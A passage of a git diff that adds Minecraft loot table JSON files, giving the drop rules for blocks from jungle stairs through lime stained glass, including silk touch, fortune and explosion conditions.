b/src/data/minecraft/loot_tables/blocks/jungle_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:jungle_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/jungle_trapdoor.json b/src/data/minecraft/loot_tables/blocks/jungle_trapdoor.json new file mode 100644 index 00000000..4d4c64bc --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/jungle_trapdoor.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:jungle_trapdoor" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/jungle_wood.json b/src/data/minecraft/loot_tables/blocks/jungle_wood.json new file mode 100644 index 00000000..3b01d88f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/jungle_wood.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:jungle_wood" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/kelp.json b/src/data/minecraft/loot_tables/blocks/kelp.json new file mode 100644 index 00000000..bd9e1b90 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/kelp.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:kelp" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/kelp_plant.json b/src/data/minecraft/loot_tables/blocks/kelp_plant.json new file mode 100644 index 00000000..bd9e1b90 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/kelp_plant.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:kelp" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/ladder.json b/src/data/minecraft/loot_tables/blocks/ladder.json new file mode 100644 index 00000000..9913fc7e --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/ladder.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:ladder" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/lantern.json b/src/data/minecraft/loot_tables/blocks/lantern.json new file mode 100644 index 00000000..58e8d09b --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/lantern.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:lantern" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/lapis_block.json b/src/data/minecraft/loot_tables/blocks/lapis_block.json new file mode 100644 index 00000000..2563ebf2 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/lapis_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:lapis_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/lapis_ore.json b/src/data/minecraft/loot_tables/blocks/lapis_ore.json new file mode 100644 index 00000000..d9d0edc9 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/lapis_ore.json @@ -0,0 +1,56 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:lapis_ore" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 4.0, + "max": 9.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:apply_bonus", + "enchantment": "minecraft:fortune", + "formula": "minecraft:ore_drops" + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:lapis_lazuli" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/large_fern.json b/src/data/minecraft/loot_tables/blocks/large_fern.json new file mode 100644 index 00000000..76831bcc --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/large_fern.json @@ -0,0 +1,129 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1.0, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": 2 + } + ], + "name": "minecraft:fern" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + }, + { + "condition": "minecraft:random_chance", + "chance": 0.125 + } + ], + "name": "minecraft:wheat_seeds" + } + ] + } + ], + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:large_fern", + "properties": { + "half": "lower" + } + }, + { + "condition": "minecraft:location_check", + "predicate": { + "block": { + "block": "minecraft:large_fern", + "state": { + "half": "upper" + } + } + }, + "offsetY": 1 + } + ] + }, + { + "rolls": 1.0, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": 2 + } + ], + "name": "minecraft:fern" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + }, + { + "condition": "minecraft:random_chance", + "chance": 0.125 + } + ], + "name": "minecraft:wheat_seeds" + } + ] + } + ], + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:large_fern", + "properties": { + "half": "upper" + } + }, + { + "condition": "minecraft:location_check", + "predicate": { + "block": { + "block": "minecraft:large_fern", + "state": { + "half": "lower" + } + } + }, + "offsetY": -1 + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/lectern.json b/src/data/minecraft/loot_tables/blocks/lectern.json new file mode 100644 index 00000000..b04cdcc8 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/lectern.json @@ -0,0 +1,25 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + } + ], + "name": "minecraft:lectern" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/lever.json b/src/data/minecraft/loot_tables/blocks/lever.json new file mode 100644 index 00000000..ba5a7148 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/lever.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:lever" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/light_blue_banner.json b/src/data/minecraft/loot_tables/blocks/light_blue_banner.json new file mode 100644 index 00000000..b708d474 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/light_blue_banner.json @@ -0,0 +1,36 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Patterns", + "target": "BlockEntityTag.Patterns", + "op": "replace" + } + ] + } + ], + "name": "minecraft:light_blue_banner" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/light_blue_bed.json b/src/data/minecraft/loot_tables/blocks/light_blue_bed.json new file mode 100644 index 00000000..f0868f85 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/light_blue_bed.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:light_blue_bed", + "properties": { + "part": "head" + } + } + ], + "name": "minecraft:light_blue_bed" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/light_blue_carpet.json b/src/data/minecraft/loot_tables/blocks/light_blue_carpet.json new file mode 100644 index 00000000..01806be3 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/light_blue_carpet.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:light_blue_carpet" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/light_blue_concrete.json b/src/data/minecraft/loot_tables/blocks/light_blue_concrete.json new file mode 100644 index 00000000..cc41488a --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/light_blue_concrete.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:light_blue_concrete" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/light_blue_concrete_powder.json b/src/data/minecraft/loot_tables/blocks/light_blue_concrete_powder.json new file mode 100644 index 00000000..0dd3c43b --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/light_blue_concrete_powder.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:light_blue_concrete_powder" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/light_blue_glazed_terracotta.json b/src/data/minecraft/loot_tables/blocks/light_blue_glazed_terracotta.json new file mode 100644 index 00000000..e3f13c4d --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/light_blue_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:light_blue_glazed_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/light_blue_shulker_box.json b/src/data/minecraft/loot_tables/blocks/light_blue_shulker_box.json new file mode 100644 index 00000000..26a2416c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/light_blue_shulker_box.json @@ -0,0 +1,50 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Lock", + "target": "BlockEntityTag.Lock", + "op": "replace" + }, + { + "source": "LootTable", + "target": "BlockEntityTag.LootTable", + "op": "replace" + }, + { + "source": "LootTableSeed", + "target": "BlockEntityTag.LootTableSeed", + "op": "replace" + } + ] + }, + { + "function": "minecraft:set_contents", + "entries": [ + { + "type": "minecraft:dynamic", + "name": "minecraft:contents" + } + ] + } + ], + "name": "minecraft:light_blue_shulker_box" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/light_blue_stained_glass.json b/src/data/minecraft/loot_tables/blocks/light_blue_stained_glass.json new file mode 100644 index 00000000..4b9db3ca --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/light_blue_stained_glass.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:light_blue_stained_glass" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/light_blue_stained_glass_pane.json b/src/data/minecraft/loot_tables/blocks/light_blue_stained_glass_pane.json new file mode 100644 index 00000000..81de21c3 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/light_blue_stained_glass_pane.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:light_blue_stained_glass_pane" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/light_blue_terracotta.json b/src/data/minecraft/loot_tables/blocks/light_blue_terracotta.json new file mode 100644 index 00000000..9928faf1 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/light_blue_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:light_blue_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/light_blue_wool.json b/src/data/minecraft/loot_tables/blocks/light_blue_wool.json new file mode 100644 index 00000000..02d11ab5 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/light_blue_wool.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:light_blue_wool" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/light_gray_banner.json b/src/data/minecraft/loot_tables/blocks/light_gray_banner.json new file mode 100644 index 00000000..07b16b53 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/light_gray_banner.json @@ -0,0 +1,36 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Patterns", + "target": "BlockEntityTag.Patterns", + "op": "replace" + } + ] + } + ], + "name": "minecraft:light_gray_banner" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/light_gray_bed.json b/src/data/minecraft/loot_tables/blocks/light_gray_bed.json new file mode 100644 index 00000000..482bfa3a --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/light_gray_bed.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:light_gray_bed", + "properties": { + "part": "head" + } + } + ], + "name": "minecraft:light_gray_bed" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/light_gray_carpet.json b/src/data/minecraft/loot_tables/blocks/light_gray_carpet.json new file mode 100644 index 00000000..53cc4dd5 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/light_gray_carpet.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:light_gray_carpet" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/light_gray_concrete.json b/src/data/minecraft/loot_tables/blocks/light_gray_concrete.json new file mode 100644 index 00000000..f4b440ef --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/light_gray_concrete.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:light_gray_concrete" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/light_gray_concrete_powder.json b/src/data/minecraft/loot_tables/blocks/light_gray_concrete_powder.json new file mode 100644 index 00000000..e1da5894 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/light_gray_concrete_powder.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:light_gray_concrete_powder" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/light_gray_glazed_terracotta.json b/src/data/minecraft/loot_tables/blocks/light_gray_glazed_terracotta.json new file mode 100644 index 00000000..bc9dc3cb --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/light_gray_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:light_gray_glazed_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/light_gray_shulker_box.json b/src/data/minecraft/loot_tables/blocks/light_gray_shulker_box.json new file mode 100644 index 00000000..73b4a5dd --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/light_gray_shulker_box.json @@ -0,0 +1,50 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Lock", + "target": "BlockEntityTag.Lock", + "op": "replace" + }, + { + "source": "LootTable", + "target": "BlockEntityTag.LootTable", + "op": "replace" + }, + { + "source": "LootTableSeed", + "target": "BlockEntityTag.LootTableSeed", + "op": "replace" + } + ] + }, + { + "function": "minecraft:set_contents", + "entries": [ + { + "type": "minecraft:dynamic", + "name": "minecraft:contents" + } + ] + } + ], + "name": "minecraft:light_gray_shulker_box" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/light_gray_stained_glass.json b/src/data/minecraft/loot_tables/blocks/light_gray_stained_glass.json new file mode 100644 index 00000000..c8c57dd6 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/light_gray_stained_glass.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:light_gray_stained_glass" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/light_gray_stained_glass_pane.json b/src/data/minecraft/loot_tables/blocks/light_gray_stained_glass_pane.json new file mode 100644 index 00000000..98f596e0 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/light_gray_stained_glass_pane.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:light_gray_stained_glass_pane" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/light_gray_terracotta.json b/src/data/minecraft/loot_tables/blocks/light_gray_terracotta.json new file mode 100644 index 00000000..4c238c4b --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/light_gray_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:light_gray_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/light_gray_wool.json b/src/data/minecraft/loot_tables/blocks/light_gray_wool.json new file mode 100644 index 00000000..347d92fe --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/light_gray_wool.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:light_gray_wool" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/light_weighted_pressure_plate.json b/src/data/minecraft/loot_tables/blocks/light_weighted_pressure_plate.json new file mode 100644 index 00000000..4ec9a6f4 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/light_weighted_pressure_plate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:light_weighted_pressure_plate" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/lilac.json b/src/data/minecraft/loot_tables/blocks/lilac.json new file mode 100644 index 00000000..b51cca13 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/lilac.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:lilac", + "properties": { + "half": "lower" + } + } + ], + "name": "minecraft:lilac" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/lily_of_the_valley.json b/src/data/minecraft/loot_tables/blocks/lily_of_the_valley.json new file mode 100644 index 00000000..8b9b7445 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/lily_of_the_valley.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:lily_of_the_valley" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/lily_pad.json b/src/data/minecraft/loot_tables/blocks/lily_pad.json new file mode 100644 index 00000000..b96aa831 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/lily_pad.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:lily_pad" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/lime_banner.json b/src/data/minecraft/loot_tables/blocks/lime_banner.json new file mode 100644 index 00000000..49018074 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/lime_banner.json @@ -0,0 +1,36 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Patterns", + "target": "BlockEntityTag.Patterns", + "op": "replace" + } + ] + } + ], + "name": "minecraft:lime_banner" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/lime_bed.json b/src/data/minecraft/loot_tables/blocks/lime_bed.json new file mode 100644 index 00000000..a4f3da02 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/lime_bed.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:lime_bed", + "properties": { + "part": "head" + } + } + ], + "name": "minecraft:lime_bed" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/lime_carpet.json b/src/data/minecraft/loot_tables/blocks/lime_carpet.json new file mode 100644 index 00000000..a7b8875f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/lime_carpet.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:lime_carpet" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/lime_concrete.json b/src/data/minecraft/loot_tables/blocks/lime_concrete.json new file mode 100644 index 00000000..9f6fcf52 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/lime_concrete.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:lime_concrete" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/lime_concrete_powder.json b/src/data/minecraft/loot_tables/blocks/lime_concrete_powder.json new file mode 100644 index 00000000..b05f86f2 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/lime_concrete_powder.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:lime_concrete_powder" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/lime_glazed_terracotta.json b/src/data/minecraft/loot_tables/blocks/lime_glazed_terracotta.json new file mode 100644 index 00000000..fa07ff65 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/lime_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:lime_glazed_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/lime_shulker_box.json b/src/data/minecraft/loot_tables/blocks/lime_shulker_box.json new file mode 100644 index 00000000..aa96a972 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/lime_shulker_box.json @@ -0,0 +1,50 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Lock", + "target": "BlockEntityTag.Lock", + "op": "replace" + }, + { + "source": "LootTable", + "target": "BlockEntityTag.LootTable", + "op": "replace" + }, + { + "source": "LootTableSeed", + "target": "BlockEntityTag.LootTableSeed", + "op": "replace" + } + ] + }, + { + "function": "minecraft:set_contents", + "entries": [ + { + "type": "minecraft:dynamic", + "name": "minecraft:contents" + } + ] + } + ], + "name": "minecraft:lime_shulker_box" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/lime_stained_glass.json b/src/data/minecraft/loot_tables/blocks/lime_stained_glass.json new file mode 100644 index 00000000..fab2240e --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/lime_stained_glass.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:lime_stained_glass" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/lime_stained_glass_pane.json 